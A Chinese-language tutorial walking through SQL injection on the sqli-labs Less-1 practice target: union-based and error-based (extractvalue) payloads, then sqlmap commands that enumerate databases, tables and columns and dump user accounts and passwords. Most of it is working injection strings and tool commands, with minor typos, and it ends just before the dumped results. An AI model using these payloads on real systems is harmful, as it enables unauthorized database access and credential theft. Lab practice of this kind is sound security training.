union联合注入(方法一)

进入靶场

按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1

数据库执行语句:select * from news where id=1页面返回描述:返回内容正常

正常浏览页面,找到有参数的地方,如id

判断注入点

1.使用单引号来判断是否有注入点?id=1'

出现报错说明有注入点

判断注入类型

判断是数字型还是字符类型

数字型注入判断:

?id=1 and 1=1如果是数字型页面正常

?id=1 and 1=2如果是数字型页面返回内容为空,因为sql语句中,1=2不成立

以下页面都是正常的,可以判断这是一个字符串注入

字符串类型判断:

使用单引号和--+闭合进行判断

?id=1' and 1=1--+如果是字符型页面正常

?id=1' and 1=2--+如果是字符型页面返回内容为空,因为sql语句中,1=2不成立

以下页面的?id=1' and 1=2--+返回内容为空,可以判断这是一个字符串注入

判断字段

通过SQL语句中order by N 来判断有几个字段

order by N 页面报错 字段为N-1

字符型判断字段:

?id=1' order by 1--+ 页面正常

?id=1' order by 2--+ 页面正常

?id=1' order by 3--+ 页面正常

?id=1' order by 4--+ 页面报错

由此得出有3个字段

显位

id=1' and 1=2 union select 1,2,3--+

查库名

id' and 1=2 union select 1,database(),3--+

得到库名 security

查表

?id=1' and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

#单个账号和密码
?id=1' and 1=2 union select 1,username,passwoed form users--+

所有的账号和密码
?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

报错注入(方法二)

前四步(判断注入点,判断类型,判断字段,显位)和union联合注入一样

报错注入模板:

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(查询语句))),3 --+

查库

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

报错信息成功查询到了库名

查表

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))),3 --+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

# 查询账号
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users))),3 --+
# 查询密码
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users))),3 --+

sqlmap工具

安装sqlmap(要有python环境才能运行)

https://github.com/sqlmapproject/sqlmap

来到文件夹下shift+鼠标右键打开PowerShell

 

启动工具sqlmap

python sqlmap.py

来到靶场,安装要求添加ID?id=1

sqlamp查找漏洞注入点

  • 这样步可以直接跳过,从查库开始

复制路径http://192.168.121.129:8002/Less-1/?id=1

回到sqlmap工具的终端

-u: 添加一个url

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1

通过工具扫描出有4中方法可以注入

查库

默认工具使用方法注入,不指定方法

--dbs:查询数据库

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 --dbs

在运行过程中有提示回车默认选项就完事了

查出5个库,要对其进行判断,我们要查哪一个库,才能找到我们要查的内容

challenges

information_schema:系统库无需查

mysql:系统库无需查

performance_schema系统库无需查

security

查表

-dbs改为-D+库名secrity

--tables 查表

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security --tables

 

查出4个表,其中有一个users的表名,无需判断直接查表

 emails

referers

uagents

users

查列名

--columns 查列名

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users --columns

有四个列名查列名id,password,username的内容

查账号密码

使用--dump输出内容

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users -C id,password,username --dump

得出所以账号密码内容: